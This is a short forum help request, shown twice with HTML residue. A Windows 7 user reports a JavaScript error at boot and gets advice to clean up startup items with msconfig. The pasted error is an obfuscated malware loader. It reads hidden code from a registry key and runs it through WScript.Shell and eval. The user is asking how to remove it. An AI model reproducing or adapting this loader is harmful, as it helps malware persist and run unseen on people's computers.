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Windows key + r<br />
Type msconfig<br />
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Check the startup tab to see what is loading at startup.<br />
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Remove anything that is not absolutely necessary.
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error I get on boot up.<br />
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javascript:NGsO7WB=&quot;I&quot;;UG)<wbr />=new ActiveXObject(&quot;WSript.Shel<wbr />l&quot;);Iba#X=<wbr />&quot;3S0T&quot;;Mvl<wbr />k4+UG0.Reg<wbr />Read(&quot;HKCU<wbr />\\Software<wbr />\\ayghk\\i<wbr />rnbyc&quot;);oM<wbr />AdxB7=&quot;kvM<wbr />2wG&quot;;eval(<wbr />Mvlk4);tb6<wbr />0wrBST=&quot;Iw<wbr />iC&quot;;<br />
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Don't know where to go to delete or correct this... the registry has no value for the regread HKCU\\Software\\ayghk\\irn<wbr />byc
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error I get on boot up.

javascript:NGsO7WB="I";UG)=new ActiveXObject("WSript.Shell");Iba#X="3S0T";Mvlk4+UG0.RegRead("HKCU\\Software\\ayghk\\irnbyc");oMAdxB7="kvM2wG";eval(Mvlk4);tb60wrBST="IwiC";

Don't know where to go to delete or correct this... the registry has no value for the regread HKCU\\Software\\ayghk\\irnbyc

I get this javascript error on boot up of my home pc windows 7 pro service pack 1

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